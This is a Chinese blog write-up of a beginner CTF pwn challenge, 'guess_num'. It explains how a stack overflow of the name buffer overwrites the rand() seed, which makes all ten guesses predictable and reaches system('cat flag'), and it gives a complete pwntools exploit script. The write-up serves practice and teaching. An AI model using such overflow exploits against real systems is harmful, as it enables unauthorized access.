新手练习08-guss_num

猜随机数的一题,种子是seed[0],循环10次,10次均对即可跳到sub_C3E函数执行system("cat flag"),checksec一波发现开启了canary,不能直接栈溢出到sub_C3E函数

image.png
image.png

查看堆栈的位置发现v8可以覆盖到seed,所以只要把seed覆盖为我们已知道的数字,那么生成的随机数也可以算不来了。

image.png

exp:

from pwn import *
from ctypes import *
context.log_level = 'debug'
p = process('./guess_num')
# p = remote("111.198.29.45","31236")
elf = ELF('./guess_num')
# libc = elf.libc
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 0x20*'a' + p64(1)
p.recvuntil('name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6+1)
    p.recvuntil('number:')
    p.sendline(num)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Lua 5.1 参考手册 by Roberto Ierusalimschy, Luiz Henrique de F...
    苏黎九歌阅读 13,996评论 0 38
  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,724评论 0 2
  • 0x01 fd 文件描述符 0、1、2分别代表标准输入、标准输出和标准错误,所以输入0x1234的十进制值,再次...
    Nevv阅读 5,893评论 0 6
  • 少见的,不是为了补课而出门,还是在清晨时分。清晨的太阳并不刺眼,透过云层,隐约能看到一圈红晕包裹着它。 和同伴一起...
    唔_相阅读 178评论 0 0
  • 2017年年底做了个决定:奔向远方、去往被称为魔都之城的-上海!顶着家人的反对、不解、到最后的无奈!带着行李...
    X面具阅读 320评论 0 0